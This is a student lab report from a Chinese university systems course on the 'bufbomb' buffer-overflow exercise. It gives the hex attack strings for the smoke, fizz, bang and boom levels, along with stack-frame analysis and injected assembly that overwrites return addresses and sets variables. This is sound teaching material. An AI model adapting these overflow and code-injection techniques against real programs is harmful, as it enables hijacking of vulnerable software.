華中科技大學

课 程 实 验 报 告

课程名称： 计算机系统基础

实验名称： 缓冲区溢出攻击

院　　系：计算机科学与技术

专业班级：图灵 2301

学　　号：U202311239

姓　　名：刘星佳

指导教师：王多强

2024 年 10 月 15 日

一、实验目的与要求

通过分析一个程序（称为“缓冲区炸弹”）的构成和运行逻辑，加深对理论课中关于程序的机器级表示、函数调用规则、栈结构等方面知识点的理解，增强反汇编、跟踪、分析、调试等能力，加深对缓冲区溢出攻击原理、方法与防范等方面知识的理解和掌握；

实验环境：Ubuntu，GCC，GDB 等

二、实验内容

任务 缓冲区溢出攻击

程序运行过程中，需要输入特定的字符串，使得程序达到期望的运行效果。

对一个可执行程序“bufbomb” 实施一系列缓冲区溢出攻击(buffer overflow attacks)，也就是设法通过造成缓冲区溢出来改变该程序的运行内存映像(例如将专门设计的字节序列插入到栈中特定内存位置)和行为，以实现实验预定的目标。bufbomb 目标程序在运行时使用函数 getbuf 读入一个字符串。根据不同的任务，学生生成相应的攻击字符串。

实验中需要针对目标可执行程序 bufbomb,分别完成多个难度递增的缓冲区溢出攻击(完成的顺序没有固定要求)。按从易到难的顺序，这些难度级分别命名为 smoke (level 0)、fizz (level 1)、bang (level 2)、boom (level 3)和 kaboom (level 4)。

1、第 0 级 smoke

正常情况下，getbuf 函数运行结束，执行最后的 ret 指令时，将取出保存于栈帧中的返回（断点）地址并跳转至它继续执行（test 函数中调用 getbuf 处）。要求将返回地址的值改为本级别实验的目标 smoke 函数的首条指令的地址， getbuf 函数返回时，跳转到 smoke 函数执行，即达到了实验的目标。

2、第 1 级 fizz

要求 getbuf 函数运行结束后,转到 fizz 函数处执行。与 smoke 的差别是,fizz 函数有一个参数。fizz 函数中比较了参数 val 与 全局变量 cookie 的值，只有两者相同（要正确打印 val）才能达到目标。

3、第 2 级 bang

要求 getbuf 函数运行结束后，转到 bang 函数执行，并且让全局变量 global_value 与 cookie 相同（要正确打印 global_value）。

4、第 3 级 boom

无感攻击，执行攻击代码后，程序仍然返回到原来的调用函数继续执行，使得调用函数（或者程序用户）感觉不到攻击行为。

构造攻击字符串，让函数 getbuf 将 cookie 值返回给 test 函数，而不是返回值 1 。还原被破坏的栈帧状态，将正确的返回地址压入栈中，并且执行 ret 指令，从而返回到 test 函数。

三、实验记录及问题回答

（1）实验任务的实验记录

1. 第 0 级 smoke

攻击字符串为：

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

60 d5 ff ff ff 7f 00 00 10 13 40 00

2. 第 1 级 fizz

攻击字符串为：

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

ec 40 40 00 00 00 00 00 38 13 40 00

3. 第 2 级 bang

攻击字符串为：

b8 47 06 0f 0c 89 04 25 ec 40 40 00 48 c7 c2 81

13 40 00 ff e2 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 90 d7 ff ff ff 7f

4. 第 3 级 boom

攻击字符串为：

b8 47 06 0f 0c 48 c7 c2 94 14 40 00 ff e2 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

60 d5 ff ff ff 7f 00 00 f0 d4 ff ff ff 7f

（2）缓冲区溢出攻击中字符串产生的方法描述

要求：一定要画出栈帧结构 （包括断点的存放位置，保存 ebp 的位置，局部变量的位置等等）

1. 第 0 级 smoke

栈帧结构如下：

返回地址
保存的 rbp 位置
...（40 bytes）

buf（char *）
src（char *）
len（int）
...（56 bytes）

可以发现我们只需要让输入的 buf 字符串溢出到返回地址的位置，并且让保存的先前 rbp 位置不变，把覆盖的返回地址的位置设置为 smoke 函数代码的首地址 0x401310 即可。

2. 第 1 级 fizz

把覆盖的返回地址设置为 fizz 中进行 if(val==cookie)的代码地址 0x401338,发现此处先将全局变量 cookie 的值存储到寄存器 eax 中，cookie 的存储位置为 0x2dda(%rip)，通过 gdb 得知确切位置为 0x4040e8。同时发现待比较的 val 值是通过-0x4(%rbp)处取值来判断的，因此只要让%rbp 的值设置为 0x4040ec 即可。而 rbp 的值最近的修改是在 getbuf 函数返回时读取存在栈内的保存的 rbp 位置，因此可以通过攻击字符串溢出修改这部分的值，从而达到修改 rbp 寄存器的目的。

3. 第 2 级 bang

通过标准输出的信息得知 cookie 的值为 0xc0f0647，先把攻击的字符串覆盖的返回地址设置为 bang 函数的首指针 0x401381,进入 bang 函数,再通过 gdb 查看 global_value 存储的地址为 0x4040ec。

然后自己写一段汇编 bang.s，实现修改 global_value 的值：

```
mov $0xc0f0647, %eax
mov %eax, 0x4040ec
mov $0x401381, %rdx
jmpq *%rdx
```

将这段代码用 objdump 得到十六进制编码，放在攻击串的开头。然后再次使用 gdb 得到 buf 的绝对位置 0x7fffffffd790，将 getbuf 的返回地址同样用前面的方法设置成该绝对位置，这样就会执行 buf 地址处存储的代码段，也就实现了更改 global_value 的值，通过判断。

4. 第 3 级 boom

同样采用代码注入的方式,自己写一个代码段把返回的 eax 寄存器的值变成 cookie 值 0xc0f0647。这个代码段其实不一定要具备恢复 rbp 的功能，因为可以在攻击字符串覆盖时对应位置不改变原先保存 rbp 位置的区域，因此代码段为：

```
mov $0xc0f0647, %eax
mov $0x401494, %rdx
jmpq *%rdx
```

与上一级类似，将这段代码转换成十六进制机器编码后作为攻击字符串的开头，将 getbuf 返回地

址覆盖为 buf 的首地址,运行代码段的最后通过 jmp 跳回调用 getbuf 函数下一行代码,实现无感攻击。

四、体会

通过这次实验，我深刻体会到了缓冲区溢出攻击的原理和方法。在整个实验过程中，通过逐步分析和构造攻击字符串，我对栈帧结构、函数调用机制、寄存器使用等底层知识有了更加深入的理解。尤其是为了实现不同级别的攻击目标，我学习了如何在内存中定位目标函数地址，并精确构造出攻击字符串，成功实现对程序的预期操控。这一过程极大地提高了我在调试、反汇编、以及理解机器级语言代码方面的能力。

此外，实验还让我更加意识到程序安全性的重要性。缓冲区溢出攻击虽然在实践中有点困难，但其成功后带来的系统安全隐患也是巨大的。因此，作为计算机专业的学生，我深刻体会到在实际开发中，必须时刻保持对输入数据长度的严格控制，避免出现溢出漏洞。总的来说，这次实验不仅提升了我的技术能力，也增强了我的安全意识，对我未来的编程和开发实践有很大帮助。